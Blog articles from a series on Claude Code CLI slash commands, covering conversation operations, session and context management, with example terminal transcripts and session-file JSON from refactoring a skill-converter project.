### Tech Stack Decisions

**Core Dependencies**:
- `click`: CLI framework (similar to commander) - User selected
- `pydantic`: Data validation and schemas (similar to Zod)
- `yaml`: YAML parsing (with safe_load)
- `rich`: Terminal formatting (similar to picocolors + @clack/prompts)
- `gitpython`: GitHub operations and repository fetching
- `jinja2`: Optional - for template handling if needed

...

## Migration Steps

### Phase 1: Project Setup
1. Create Python project structure
2. Set up pyproject.toml
3. Install dependencies
4. Create basic project skeleton

### Phase 2: Core Library Migration
1. `errors.py` - Custom exception classes
2. `path_validator.py` - Path validation
3. `slug.py` - Slug generation
4. `yaml_handler.py` - YAML parsing/writing
5. `filesystem.py` - File system operations
6. `validator.py` - Input validation
7. `transformer.py` - Frontmatter transformation
8. `migrator.py` - File migration
9. `metadata.py` - Metadata generation
10. `marker.py` - Conversion tracking

`/simplify`

This command is more akin to a skill. It will launch subagents that check different aspects of the code, like duplication or efficiency, converge on all findings, and start implementing them right away.

Here is an example run.

I'll help you simplify the code. Let me first check for changes and then launch the three review agents.

...

● I'll launch three review agents to analyze the codebase for potential improvements across reuse, quality, and efficiency dimensions.

  Running 3 Explore agents… (ctrl+o to expand)
   ├─ Code reuse review · 1 tool use · 13.8k tokens
   │  ⎿  Read: src/
   ├─ Code quality review · 3 tool uses · 14.6k tokens
   │  ⎿  Searching for 1 pattern, reading 2 files…
   └─ Efficiency review · 0 tool uses
      ⎿  Initializing…
     (ctrl+b to run in background)
...

● Now I'll aggregate the findings from all three agents and implement the fixes:

...

● Let me start by implementing the high-priority fixes:

  1. First, let's create utility functions to reduce code duplication:

● Write(src/lib/utils.ts)
  ⎿  Wrote 76 lines to src/lib/utils.ts
       1 import { promises as fs } from 'fs';
       2 import { fileExists, directoryExists } from './fs.js';
       3
       4 // JSON file utilities
       5 export async function readJsonFile<T>(path: string): Promise<T> {
       6   const content = await fs.readFile(path, 'utf-8');
       7   return JSON.parse(content);
       8 }
       9
      10 export async function writeJsonFile<T>(path: string, data: T): Promise<void> {
     … +66 lines (ctrl+o to expand)

...
● The code has been simplified with these key improvements:

  1. Added utility functions in src/lib/utils.ts to reduce code duplication
  2. Optimized conversion process with parallel execution using Promise.all
  3. Added filesystem caching to reduce redundant stat calls
  4. Removed unnecessary existence checks (TOCTOU anti-patterns)
  5. Improved error handling with try-catch blocks
  6. Reduced stringly-typed code with utility functions

`/review`

When working on a branch with new features, it is advised to check its impact on the project. Two different operations are possible

If the current branch does not have any comments from its origin, this command launches general code-quality agents, checking the current source code, and identifying potential changes. Here is an example.

Overview

  This commit implements significant code quality and performance improvements across the universal-skill-converter project. The changes focus on reducing code
  duplication, optimizing performance with parallel execution, improving error handling, and maintaining clean code standards.

  Analysis

  ✅ Strengths

  1. Performance Optimization
    - Excellent use of Promise.all() to execute steps 5-9 in parallel instead of sequentially
    - Added filesystem caching with TTL to reduce redundant stat calls
    - Batched file existence checks with Promise.all() in validator.ts
  2. Code Quality Improvements
    - Created a comprehensive utils.ts module with reusable utilities
    - Reduced code duplication significantly (164 additions vs 61 deletions)
    - Better error handling with try-catch blocks instead of manual existence checks
  3. Best Practices
    - Eliminated TOCTOU (Time-of-Check-to-Time-of-Use) anti-patterns
    - Used proper path construction utilities instead of string concatenation
    - Improved error handling consistency across modules

  ⚠️  Potential Issues

  1. Memory Concerns with Cache
  const statCache = new Map<string, { exists: boolean; isDirectory?: boolean; timestamp: number }>();
    - The cache could grow unbounded if many different paths are checked
    - Suggestion: Add a max cache size or LRU eviction policy
  2. Cache TTL Hardcoding
  const CACHE_TTL = 5000; // 5 seconds
    - The 5-second TTL might not be optimal for all use cases
    - Suggestion: Make this configurable via environment variable
  3. Error Handling in Parallel Operations
    - The parallel Promise.all() will fail if any single operation fails
    - Suggestion: Consider using Promise.allSettled() for better error isolation
  4. Missing Cleanup in Cache
    - clearExpiredCache() is called on every stat but doesn't clean the cache efficiently
    - Suggestion: Run cleanup periodically instead of on every call

  🔧 Specific Improvements

  1. Filesystem Module (fs.ts)
    - Good caching implementation, but could be more memory-efficient
    - Consider adding error types for better error handling
  2. Utils Module (utils.ts)
    - Well-organized utilities, but some functions might be overly specific
    - cleanString() and removeExtension() could be more generic
  3. Marker Module (marker.ts)
    - Excellent error handling improvements
    - The try-catch approach is much cleaner than manual existence checks
  4. Validator Module (validator.ts)
    - Good optimization with Promise.all() for file checks
    - However, the cache might cause stale reads if files are modified during validation

  Security Considerations

  - ✅ No security vulnerabilities introduced
  - ✅ Proper error handling doesn't leak sensitive information
  - ✅ Safe YAML parsing already implemented in previous commits

  Testing Coverage

  - No changes to test files in this commit
  - Suggestion: Add unit tests for the new utility functions
  - Suggestion: Test cache behavior with edge cases

  Overall Assessment

  This is a well-executed refactoring that significantly improves code quality and performance. The changes follow TypeScript best practices and maintain backward
  compatibility. The only areas needing attention are memory management in the cache and potential error isolation in parallel operations.

  Recommendation: Merge with minor consideration for the suggested improvements.

And If the current branch does not have comments from its origin, it can also access and process them, updating the code to comply. For this, the gh binary needs to be installed.

Here is an example:

I'll run gh pr list to see the open PRs and then review them.

● Bash(gh pr list)
  ⎿  12 refactor: improve utility functions to be more generic  feature/optimizations   OPEN    2026-04-25T09:15:26Z

● Now I'll review PR #12.

● Let me check if there are review comments specifically.

● Bash(gh api repos/admantium-sg/universal-skill-converter/pulls/12/comments)
  ⎿  [
       {
         "url": "https://api.github.com/repos/admantium-sg/universal-skill-converter/pulls/comments/3141750050",
     … +62 lines (ctrl+o to expand)

● Perfect! I can see your comments now. You have three specific feedback points:

  1. "Increase to 10s." - About the cache TTL in fs.ts
  2. "Can you unchain these exit codes?" - About the chained operations in fs.ts
  3. "Do not add comments about steps." - About removing step comments in converter.ts

And it will then address these changes.

 Now let me address your feedback:

  1. First, increase the cache TTL to 10 seconds:

● Update(src/lib/fs.ts)
  ⎿  Added 1 line, removed 1 line
      3
      4  // Cache for file system checks to avoid repeated stat calls
      5  const statCache = new Map<string, { exists: boolean; isDirectory?: boolean; timestamp: number }>();
      6 -const CACHE_TTL = 5000; // 5 seconds
      6 +const CACHE_TTL = 10000; // 10 seconds
      7
      8  function clearExpiredCache() {
      9    const now = Date.now();

● 2. Next, unchain the exit codes in directoryExists and fileExists:

● Update(src/lib/fs.ts)
  ⎿  Removed 1 line
      63   * Check if a directory exists.
      64   */
      65  export async function directoryExists(path: string): Promise<boolean> {
      66 -  clearExpiredCache();
      66    const result = await cachedStat(path);
      67    return result.exists && result.isDirectory;
      68  }

● Update(src/lib/fs.ts)
  ⎿  Removed 1 line
      71   * Check if a file exists.
      72   */
      73  export async function fileExists(path: string): Promise<boolean> {
      74 -  clearExpiredCache();
      74    const result = await cachedStat(path);
      75    return result.exists && !result.isDirectory;
      76  }

`/security-review`

Using LLMs for code generation can add security concerns, scaling with the model’s capabilities to not introduce them in the first place. A thorough review to find and address issues should be done regularly.

Similar to the other review commands, this one checks the current source code, or if not on the default branch, evaluates potential security issues of the current branch against the default branch. Aspects like validation, potential path-traversal, permissions, and finally general code quality will be checked.

Here is an example.

Now let's run a security review on the changes compared to main:

● Skill(security)
  ⎿  Initializing…
  ⎿  Error: Unknown skill: security

● Let me check what security issues might be present in the changes by examining the code:

  Read 1 file (ctrl+o to expand)

● Let me check for any potential security vulnerabilities in the utils.ts file:

  Read 1 file (ctrl+o to expand)

● Let me check the validation functions in utils.ts:

  Read 1 file (ctrl+o to expand)

....

● Let me search for the duplicate:

  Searched for 2 patterns (ctrl+o to expand)

● I see the duplicate at lines 66-67. Let me fix it:

● Update(src/lib/converter.ts)
  ⎿  Removed 1 line
      64      ]);
      65
      66      await writeConversionMarker(context.outputDir);
      67 -    await writeConversionMarker(context.outputDir);
      67
      68      return {
      69        success: true,

...
  Security Review Summary

  After reviewing the changes in src/lib/converter.ts, src/lib/fs.ts, and src/lib/utils.ts, here are the security findings:

  ✅ Security Strengths

  1. Path Validation: The code uses sanitizePath() with resolve() and normalize() to prevent directory traversal attacks
  2. Safe YAML Parsing: Uses safe schema for YAML parsing to prevent code injection
  3. Input Validation: Proper validation of required fields and file existence
  4. Error Handling: Errors don't leak sensitive information

  ✅ No Critical Security Issues Found

  The changes appear to be secure and follow good security practices:
  - No path traversal vulnerabilities
  - No command injection risks
  - Proper input sanitization
  - Safe file operations

`/diff`

When working on a source code repository that uses git, this command lists all changed, but not yet committed files.

Its interface is sophisticated, allowing a vertical navigation that lists the "turns", individual user prompts and how they changed editted files. This allows for a fine-granular view of changes. Additionally, you can also select and commit individual files.

Here is an example during working on the universal skill converter.

 /diff

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
  Uncommitted changes (git diff HEAD)

  Current · T49 · T40 · T39 · T35 · T34 · T33 · T32 · T31 · T30 · T29 · T28 · T12 · T7 ▶

  2 files changed

  ❯ .claude/statusline-command.cjs                                                                              untracked
    2026-04-25-093249-this-session-is-being-continued-from-a-previous-c.txt

And selecting a turn that modified the README.md.

 Turn 49 "Ok. Update REQUIREMENTS.md wi…"

  ◀ Current · T49 · T40 · T39 · T35 · T34 · T33 · T32 · T31 · T30 · T29 · T28 · T12 · T7 ▶

  1 file changed +94 -13


  ❯ /opt/claude/REQUIREMENTS.md                                                                         +94 -13

  ←/→ source · ↑/↓ select · Enter view · Esc close

`/copy`

A simple command that copies the last system response, not the result of a command, from the CLI terminal to your clipboard.

❯ /copy
  ⎿  Copied to clipboard (65 characters, 3 lines)
     Also written to /tmp/claude/response.md

# Content buffer from the clipboard
Security Review Summary

  After reviewing the changes in src/lib/converter.ts, src/lib/fs.ts, and src/lib/utils.ts, here are the security findings:

  ...

`/export`

After a specifically long session, you can export the complete conversation. The resulting file is a verbose export of user, system, and tool messages.

/export
  ⎿  Conversation exported to: /opt/claude/universal-skill-converter/2026-04-25-093249-optimizations.txt

A preview into this file:

╭─── Claude Code v2.1.91 ──────────────────────────────────────────────────────╮
│                                           │ Tips for getting started         │
│               Welcome back!               │ ✔ Run /init to create a CLAUDE.… │
│                                           │ ──────────────────────────────── │
│                  ▐▛███▜▌                  │ Recent activity                  │
│                 ▝▜█████▛▘                 │ No recent activity               │
│                   ▘▘ ▝▝                   │                                  │
│                                           │                                  │
│    claude-haiku-4.5 · API Usage Billing   │                                  │
│   /opt/claude/universal-skill-converter   │                                  │
╰──────────────────────────────────────────────────────────────────────────────╯

✻ Conversation compacted (ctrl+o for history)

❯ /compact
  ⎿  Compacted (ctrl+o to see full summary)
  ⎿  Read src/lib/utils.ts (162 lines)
  ⎿  Read ../.gitenv (4 lines)
  ⎿  Read src/lib/validator.ts (144 lines)
  ⎿  Read src/lib/migrate.ts (35 lines)
  ⎿  Read src/lib/marker.ts (58 lines)
  ⎿  Plan file referenced (~/.claude/plans/fluttering-growing-lecun.md)
  ⎿  Skills restored (review, simplify)

❯ /review

● I'll run gh pr list to see the open PRs and then review them.

● Bash(gh pr list)
  ⎿  12 refactor: improve utility functions to be more generic    
     feature/optimizations    
     OPEN    2026-04-25T09:15:26Z

● Now let me get the diff to review the code changes.

● Bash(gh pr diff 12)
  ⎿  diff --git a/CHANGELOG.md b/CHANGELOG.md
     index e7e6688..d99b9f3 100644
     --- a/CHANGELOG.md
     … +228 lines (ctrl+o to expand)

● Based on the diff, I can see that PR #12 includes several improvements to
  utility functions and optimizations. Let me analyze this thoroughly.

Conclusion

The Claude Code CLI offers more than 40 subcommands. In an ongoing blog series, all commands are explored systematically. In this article, conversation ops and terminal configuration was the focus. For conversation ops, you learned a) to rename the current session with a meaningful, rememberable name, b) put Claude into planning mode, detailing complex changes in an editable markdown file, c) checking the code-quality, d) applying a review of an merge request, and optionally pull comments from GitHub, e) applying a complete security review of your code, f) show conversation turns and modified files, g) to copy the last system message to the clipboard, and finally h) exporting the complete conversation. And in the permission's section, you

Claude Code CLI: Session & Context Management

Sebastian — Mon, 29 Jun 2026 05:33:07 +0000

Claude Code is an agentic tool for code generation. It helps developers to implement new features, analyze and solve bugs, and refactoring of complex code bases. Inside a Claude session, several slash commands are offered. Knowing their functions, and the context in which they are applicable, is essential for using the tool in its full potential.

In an ongoing blog series, all CLI commands are explored systematically. The focus of this article are commands for session and context management - essential for staying focused in long coding session.

The technical context of this article is claude_code v2.1.91, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.

This article originally appeared at my blog admantium.com.

Claude Code CLI: Slash Command Overview

✅ Session Configuration
- /add-dir: Add an additional working directory to the current session
- /rename: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file
- /model: Determine the LLM model to be used
- /effort: Configures the effort level of the model, adjusting its internal reasoning behavior
- /login: Log in to the Anthropic subscription or Console
- /logout: Log out of an Anthropic account
✅ Session Reflection
- /cost: Shows the current session cost
- /usage: Shows token consumption in the context of a subscription plan
- /status: Shows essential CLI, model, and account information
- /stats: Shows usage statistics and activity overview
- /config: General purpose configuration
- /update-config: Customizations of Claude Code internals
- /export: Create a compact conversation summary
- /insights: Generates a detailed report with meta information about the current session
🌀 Session Management
- /batch: Execute a plan file as a parallel running sub-session
- /btw: Process an additional instruction during a long-running main task
- /loop: Run a specific prompt periodically
- /tasks: List all background tasks
- /fork: Define a staging point in the conversation history from which different branches can be invoked
- /rewind: Roll back the conversation and optionally code base to an earlier state
- /exit: Stop the terminal
- /resume: Continue a session
🌀 Context Management
- /clear: Reset the conversation history
- /compact: Define a new conversation history entry, limiting the context that is sent to the LLM provider
- /context: Visualize current context usage as a colored grid
- /memory: Edit Claude memory files
Conversation Ops
- /rename: Provide a meaningful name to the conversation
- /init: Read the current project and generate a CLAUDE.md file
- /plan: Toggle between editing and plan mode
- /simplify: Review the changed code for efficiency
- /review: Review a merge request and optionally check comments from an origin repo
- /security-review: Invoke a special agent that checks the source code for security issues
- /diff: View and commit staged file changes
- /copy: Copy the last answer to the clipboard
- /export: Create a compact conversation summary
Terminal Configuration
- /theme: Configure the color theme
- /color: Configure prompt bar color
- /terminal-setup: Configure key bindings
- /vim: Enable or disable VIM editor support when editing files via the CLI
- /statusline: Set up a custom status line for the terminal
Diagnostics & User Support
- /release-notes: Show the Claude Code release notes
- /doctor: Check configuration status
- /debug: Enable verbose debugging output and check for known issues
- /feedback: Write feedback about your Claude Code experience
- /help: Show general information about available slash commands
- /powerup: Explore Claude Code feature with small lessons
- /stickers: Order Claude Code stickers
- /buddy: Hatch a Tamagotchi-like coding companion
Permissions
- /permissions: Fine-grained allow & deny tool permission rules
- /sandbox: Configure settings to secure Claude terminal access and program execution rights
Extensions
- /hooks: View hook configurations for tool events
- /skills: View installed skills
- /agents: Create and manage agents
- /mcp: Set up and manage MCP server definitions
- /chrome: Start a local Chromium browser for browser interaction
- /plugin: Browse and configure CLI extension
- /reload-plugins: Reload all configured plugins
Integrations
- /ide: Show IDE integrations for Claude, for example in Visual Studio Code
- /install-github-app: Configure GitHub actions that interact with Claude
- /install-slack-app: Configure Slack integration
- /mobile: Show a QR code to download the iOS or Android app
- /claude-api: Build native apps that integrate with Anthropic SDK

Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.

Session Management

`/batch`

In a conventional session with Claude Code, commands are executed linearly. A user prompt gets embedded into a system prompt, the LLM provider process the prompts in thinking mode, suggest tool calls that are executed and looped back to the model, until the model declares a task completed.

To accelerate the execution of complex tasks, the batch command takes a stored plan, analyzes it, and depatches several sub-agents to work on it.

Here is an example of invoking that command to refactor my skill-converter app from NodeJS to Python.

/batch implement the universal-skill-converter plan

● I'll implement the universal-skill-converter refactoring to Python. Let me start by
  entering plan mode to create a detailed batch execution plan.

● Entered plan mode
  Claude is now exploring and designing an implementation approach.

∴ Thinking…

  The user is now asking me to implement the universal-skill-converter plan. They've given me
   the /batch command which means I need to:

  1. Enter plan mode
  2. Research the scope (I've already done this in the previous conversation)
  3. Decompose into independent units
  4. Determine e2e test recipe
  5. Write the plan
  6. Exit plan mode
  7. Spawn workers

  I already have a comprehensive understanding of the codebase from the previous exploration.
   Let me now create a proper plan for the batch execution.

  From the previous exploration, I know:
  - The project is a TypeScript/Node.js CLI tool that converts skills from skill.sh to
  clawhub format
  - It has 14 TypeScript modules in src/lib/
  - It has CLI commands in src/commands/
  - It has types in src/types/
  - It has UI in src/ui/
  - There are 94 tests

  For the batch approach, I need to:
  1. Create work units that are independently implementable
  2. Each unit should be in an isolated worktree
  3. Each unit should be mergeable on its own
  4. Each unit should be roughly uniform in size

`/btw`

Instructions entered in the CLI start a long-running process. The process can be interrupted by pressing ESC, or aborted with ESC-ESC. If you want to let Claude on a parallel task, the "by-the-way" command can be executed.

Here is an example for this invocation during the refactoring to Python main task

/btw list background processes

    I don't have access to any tools to list background processes. As a separate lightweight
    agent without file system or command execution capabilities, I cannot run commands or
    view the system's process list.

    You would need to use your terminal's commands directly, such as:
    - ps aux (Linux/macOS)
    - tasklist (Windows)
    - pgrep (to find specific processes)

`/loop`

This command allows you to run a specififc prompt or other command periodically. This can be helpfull in long running sessions, when you want to e.g. update documents like the CLAUDE.md file, or run linter or test commands on code bases.

Here is an example.

/loop 1m "run /init"

● CronCreate(*/1 * * * *: run /init)
  ⎿  Scheduled d6ad1c81 (Every minute)

● Skill(init)
  ⎿  Successfully loaded skill

  Searched for 3 patterns, read 1 file (ctrl+o to expand)

● The CLAUDE.md already exists at /opt/claude/universal-skill-converter/CLAUDE.md and appears comprehensive and
  accurate. It includes:

  - Commands: dev, build, test, coverage, typecheck, lint, format

`/tasks`

During investigating complex code bases, or when working with the /batch command, several parallel running tasks are spawned, including tool calls and agent invocations. They can be observed with the same-named command.

Here is an example during the above refactoring step.

● Let me explore the codebase more thoroughly to create an effective batch execution plan.

● Read(/opt/claude/universal-skill-converter/package.json)
  ⎿  Read 50 lines

● Read(/opt/claude/universal-skill-converter/tsconfig.json)
  ⎿  Read 21 lines

● Search(pattern: "src/**/*.ts")
  ⎿  Found 18 files
     src/lib/meta.ts
     src/lib/path.ts
     src/lib/slug.ts
     src/lib/errors.ts
     src/lib/fs.ts
     src/lib/migrate.ts
     src/lib/yaml.ts
     src/commands/convert.ts
     src/index.ts
     src/lib/converter.ts
     src/lib/marker.ts
     src/lib/remote.ts
     src/lib/transform.ts
     src/lib/validator.ts
     src/types/index.ts
     src/ui/output.ts
     src/ui/prompts.ts
     src/ui/verbose.ts

● Read(/opt/claude/universal-skill-converter/src/commands/convert.ts)
  ⎿  Read 227 lines

● Read(/opt/claude/universal-skill-converter/src/lib/converter.ts)
  ⎿  Read 102 lines

● Read(/opt/claude/universal-skill-converter/src/types/index.ts)
  ⎿  Read 96 lines

● Read(/opt/claude/universal-skill-converter/src/ui/output.ts)
  ⎿  Read 64 lines

● Read(/opt/claude/universal-skill-converter/vitest.config.ts)
  ⎿  Read 15 lines

● Read(/opt/claude/universal-skill-converter/README.md)
  ⎿  Read 314 lines

● Read(/opt/claude/universal-skill-converter/src/lib/remote.ts)
  ⎿  Read 334 lines

● Read(/opt/claude/universal-skill-converter/src/lib/marker.ts)
  ⎿  Read 61 lines

● Read(/opt/claude/universal-skill-converter/src/lib/metadata.ts

`/branch`

Note: This command's name was /fork up until Claude Code v2.1.77.

Normally, your prompts and the tools responses form a linear structure. If you are at a decisive point, e.g. during refactoring, and want to investigate different outcomes, you can create a fork from this conversation.

Executing this command effectively copies your current session to a new one, and prints how to resume the existing one.

/fork
 Branched conversation. You are now in the branch.
     To resume the original: claude -r d907194e-ba58-4640-9e32-49727cc351b5

`/rewind`

Conversations are a linear sequence of user prompts, LLM invocation, and printed answers. Every interaction point, and the state of the current working directory, is stored as an internal snapshot. If, during a longer session, the code base you are working on evolved to an undesired state, you can rollback to any of those snapshots.

The /rewind command first shows you all of these snapshots ...

 Rewind

 Restore the code and/or conversation to the point before…

   Refactor this app to python. Write the plan file "refactor-to-python.md"
   No code changes

   /model
   No code changes

   Refactor this app to python. Write the plan file "refactor-to-python.md"
   serene-waddling-newt.md +553 -2

 ❯ /batch implement the universal-skill-converter plan
   No code changes

... and the allows cursor navigation to select from where to rebegin. When you make a selection, you are asked what to keep.

 Confirm you want to restore to the point before you sent this message:

 │ Refactor this app to python. Write the plan file "refactor-to-python.md"
 │ (52m ago)

 The conversation will be forked.
 The code will be restored +0 -550 in serene-waddling-newt.md.

 ❯ 1. Restore code and conversation
   2. Restore conversation
   3. Restore code
   4. Summarize from here
   5. Never mind

 ⚠ Rewinding does not affect files edited manually or via bash.

`/exit`

The current session can be immediately stopped with this command. The return message will either name the session ID, the session name if you provided one, or if you used the /branch command, its name.

For a named session:

Resume this session with:
claude --resume "refactor-to-python"

And for a branch:

❯ /exit
Resume this session with:
claude --resume "Refactor this app to python. Write the plan file \"refactor-to-python.md\" (Branch)"

`/resume`

An exited conversation can be resumed either via the CLI flag or when inside a session. Here is an example for the second option.

/resume refactor-to-python

Context Management

`/context`

Context is the sum of the loaded CLAUDE.md files, memory files, prompts, mcp servers, skills, user and system messages. During long sessions, the context fills up, and this command visualizes the accumulated structure.

`/compact`

During very long sessions with Claude, answer quality might degrade, code quality drops, and more and more fixes are required to keep code running. This is an indicator that the overall context contains too many instructions, which confuse the model.

The /compact command refreshes the context. But what actually happens when this command is executed? The JSONL session file is amended with a new document. And this document summaries the most important user and system messages. And from then on, any new request that is send to the LLM provider starts with this summary document only, resulting in an alltogether fresh context.

❯ /compact
  ⎿  Compacted (ctrl+o to see full summary)
  ⎿  Read src/lib/remote.ts (334 lines)
  ⎿  Read src/lib/marker.ts (61 lines)
  ⎿  Read README.md (314 lines)
  ⎿  Read src/ui/output.ts (64 lines)
  ⎿  Plan file referenced (~/.claude/plans/fluttering-growing-lecun.md)

Observe the new document in the session history:

{
  "parentUuid": null,
  "logicalParentUuid": "b165d9aa-6aab-4597-9187-954b7f5c6666",
  "isSidechain": false,
  "type": "system",
  "subtype": "compact_boundary",
  "content": "Conversation compacted",
  "isMeta": false,
  "timestamp": "2026-04-09T15:58:03.769Z",
  "uuid": "a37533f8-0993-4750-964c-8ba724430fe8",
  "level": "info",
  "compactMetadata": {
    "trigger": "manual",
    "preTokens": 54247
  },
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude/universal-skill-converter",
  "sessionId": "3a0213a0-5ef4-420c-8d11-1bda03f41a1a",
  "version": "2.1.91",
  "gitBranch": "feature/refactor-to-python",
  "slug": "fluttering-growing-lecun"
}
{
  "parentUuid": "a37533f8-0993-4750-964c-8ba724430fe8",
  "isSidechain": false,
  "type": "user",
  "message": {
    "role": "user",
      "content": "This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation.
  Summary:
  1. Primary Request and Intent:
     - Refactor the universal-skill-converter app from TypeScript to Python
     - Create plan file \"refactor-to-python.md\"
     - Later: Execute the plan using batch mode with parallel workers
     - Maintain all functionality (local and remote conversion, 10-step conversion process)
     - Preserve security features (safe YAML parsing, path validation)
     - Maintain testing coverage (>70% target)
     - Keep identical CLI interface and command names
  2. Key Technical Concepts:
     - TypeScript/Node.js to Python migration
     - CLI framework (Click instead of commander)
     - Data validation (Pydantic instead of Zod)
     - YAML parsing with safe_load equivalent
     - Terminal formatting (Rich instead of picocolors + @clack/prompts)
     - Git operations (GitPython)
     - File system operations (sync instead of async)
     - Layered architecture (CLI, Core, Models, UI layers)
     - Skill format conversion (skill.sh → clawhub)
     - GitHub repository fetching and caching
     - Test-driven development with pytest
  3. Files and Code Sections:
     - `/opt/claude/universal-skill-converter/package.json`
       - Contains project metadata and dependencies
       - Shows current tech stack: commander, js-yaml, zod, @clack/prompts
       - Scripts: dev, build, test, typecheck, lint, format

     - `/opt/claude/universal-skill-converter/tsconfig.json`
       - TypeScript configuration with strict mode enabled
       - ESNext target with bundler module resolution

     - `/opt/claude/universal-skill-converter/src/commands/convert.ts`
       - Main CLI command implementation (226 lines)
       - Handles remote/local source detection
       - Options: path, output, force, verbose, json, skill, ref, keep-temp
       - Command structure: `skill-convert convert <path-or-url>`

     - `/opt/claude/universal-skill-converter/src/lib/converter.ts`
       - Conversion orchestrator (101 lines)
       - 10-step conversion process: marker check, validation, file reading, directory creation, metadata generation, transformation, migration, license copy, scripts copy, marker creation

     - `/opt/claude/universal-skill-converter/src/types/index.ts`
       - Zod schemas for type safety
       - ConvertOptionsSchema, SkillShFrontmatterSchema, ClawhubFrontmatterSchema, MetaJsonSchema, ConversionMarkerSchema, ConversionResultSchema, ValidationResultSchema, ConversionContextSchema

     - `/opt/claude/universal-skill-converter/src/lib/remote.ts`
       - GitHub repository handling (333 lines)
       - Functions: parseRemoteSource, isRemoteSource, validateGitInstalled, validateGitHubRepo, fetchGitHubRepo, fetchRemoteSkill, retryWithBackoff
       - Caching in ~/.skill-convert/cache/ for 24 hours

     - `/opt/claude/universal-skill-converter/src/lib/marker.ts`
       - Conversion tracking with .converted_from_skillsh marker file
       - Functions: readConversionMarker, writeConversionMarker, isAlreadyConverted, removeConversionMarker

     - `/home/node/.claude/plans/serene-waddling-newt.md`
       - Comprehensive Python refactoring plan
       - Detailed file structure mapping (14 TypeScript modules → Python equivalents)
       - Module-by-module implementation details
       - Testing strategy with pytest
       - Migration phases and timeline (~12 hours)
  4. Errors and fixes:
     - No technical errors encountered during conversation
     - User feedback: When I attempted to exit plan mode, user said \"No\" and indicated they didn't want the plan executed at that time
     - User later provided specific preferences: Click framework, identical interface, >70% coverage, sync I/O
  5. Problem Solving:
     - Analyzed existing TypeScript codebase architecture to understand conversion requirements
     - Designed Python equivalent tech stack (Click, Pydantic, Rich, GitPython)
     - Mapped TypeScript modules to Python equivalents
     - Created detailed implementation plan with work units for parallel execution
     - Established testing strategy with pytest and temporary directory isolation
  6. All user messages:
     - \"Refactor this app to python. Write the plan file 'refactor-to-python.md'\"
     - User answers to design questions: Click framework, identical interface, >70% coverage, sync I/O
     - \"No, don't execute the plan.\"
     - \"implement the universal-skill-converter plan\" (via /batch command)
  7. Pending Tasks:
     - Complete the batch execution plan with work unit decomposition
     - Determine e2e test recipe for verifying conversions
     - Exit plan mode and spawn parallel workers for implementation
     - Track progress of multiple workers implementing different modules
     - Create pull requests for each work unit
  8. Current Work:
     I was in the middle of creating a detailed batch execution plan after the user issued the \"/batch implement the universal-skill-converter plan\" command. I had:
     - Explored additional files (remote.ts, marker.ts, meta.ts)
     - Started analyzing the codebase for work unit decomposition
     - Was preparing to create a plan file with 15-30 independent, mergeable work units
     - Was designing the e2e test recipe for conversion verification
     - Had entered plan mode and was in the exploration phase
  9. Optional Next Step:
     Continue the batch execution planning by:
     1. Completing the work unit decomposition (creating 15-20 independent units covering project setup, core modules, models, UI layer, CLI layer, and testing)
     2. Designing the e2e test recipe (CLI verification commands, test skill conversion workflow)
     3. Writing the complete plan file to /home/node/.claude/plans/serene-waddling-newt.md
     4. Exiting plan mode to present the plan for approval

     Based on the user's explicit request: \"implement the universal-skill-converter plan\" via batch mode, the next step should focus on finalizing the detailed execution plan for parallel worker implementation.
  If you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/node/.claude/projects/-opt-claude-universal-skill-converter/3a0213a0-5ef4-420c-8d11-1bda03f41a1a.jsonl"
  },
  "isVisibleInTranscriptOnly": true,
  "isCompactSummary": true,
  "uuid": "9eb02f5b-d4a9-4352-9f64-f1ba5975cecf",
  "timestamp": "2026-04-09T15:58:03.769Z",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude/universal-skill-converter",
  "sessionId": "3a0213a0-5ef4-420c-8d11-1bda03f41a1a",
  "version": "2.1.91",
  "gitBranch": "feature/refactor-to-python",
  "slug": "fluttering-growing-lecun"
}

From here, you cannot use the rewind command to progress further back, the compacted session is the new starting point.

`/clear`

When compaction does not help, you need to /clear the context completely.

Here is the command:

/clear

Internally, a new session ID is generated, and the JSONL file starts from scratch.

And here is the change to the session file.

cat ~/.claude/projects/-opt-claude-universal-skill-converter/e008d275-5119-45bf-b3ba-541e1845b369.jsonl

{
  "type": "file-history-snapshot",
  "messageId": "7fe3cfbe-a428-4709-a756-98db0d487968",
  "snapshot": {
    "messageId": "7fe3cfbe-a428-4709-a756-98db0d487968",
    "trackedFileBackups": {},
    "timestamp": "2026-04-09T16:06:47.905Z"
  },
  "isSnapshotUpdate": false
}
{
  "parentUuid": null,
  "isSidechain": false,
  "type": "user",
  "message": {
    "role": "user",
    "content": "<local-command-caveat>Caveat: The messages below were generated by the user while running local commands. DO NOT respond to these messages or otherwise consider them in your response unless the user explicitly asks you to.</local-command-caveat>"
  },
  "isMeta": true,
  "uuid": "1c37f14c-f73e-4c2d-bb38-dd8da3ee99d7",
  "timestamp": "2026-04-09T16:06:47.904Z",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude/universal-skill-converter",
  "sessionId": "e008d275-5119-45bf-b3ba-541e1845b369",
  "version": "2.1.91",
  "gitBranch": "feature/refactor-to-python"
}
{
  "parentUuid": "1c37f14c-f73e-4c2d-bb38-dd8da3ee99d7",
  "isSidechain": false,
  "type": "user",
  "message": {
    "role": "user",
    "content": "<command-name>/clear</command-name>\n            <command-message>clear</command-message>\n            <command-args></command-args>"
  },
  "uuid": "7fe3cfbe-a428-4709-a756-98db0d487968",
  "timestamp": "2026-04-09T16:06:47.901Z",
  "userType": "external",
  "entrypoint": "cli",
  "cwd": "/opt/claude/universal-skill-converter",
  "sessionId": "e008d275-5119-45bf-b3ba-541e1845b369",
  "version": "2.1.91",
  "gitBranch": "feature/refactor-to-python"
}

`/memory`

Memory is an additional layer in Claude Codes context. It is intended to capture project-specific intricacies for improving work efficiency, for example corrections to errors, detailed build and test commands, or observations about high-level architecture. Claude keeps these memories automatically, and with this command, you gain access to its settings.

When executed, a navigable terminal interface is rendered:

/memory

──────────
Memory

    Auto-memory: on
    Auto-dream: off · never

  ❯ 1. User memory                      Saved in ~/.claude/CLAUDE.md
    2. Project memory                   Checked in at ./CLAUDE.md
